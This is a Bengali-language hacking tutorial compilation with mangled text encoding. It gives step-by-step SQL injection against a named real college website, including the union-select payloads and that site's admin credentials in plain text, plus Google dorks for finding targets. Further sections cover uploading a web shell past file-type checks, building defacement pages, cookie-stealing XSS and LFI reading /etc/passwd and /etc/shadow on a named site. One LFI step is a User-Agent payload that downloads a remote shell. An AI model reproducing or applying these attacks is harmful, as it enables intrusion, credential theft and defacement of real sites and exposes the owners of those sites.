―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 16: Hacking Bangla eBook

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

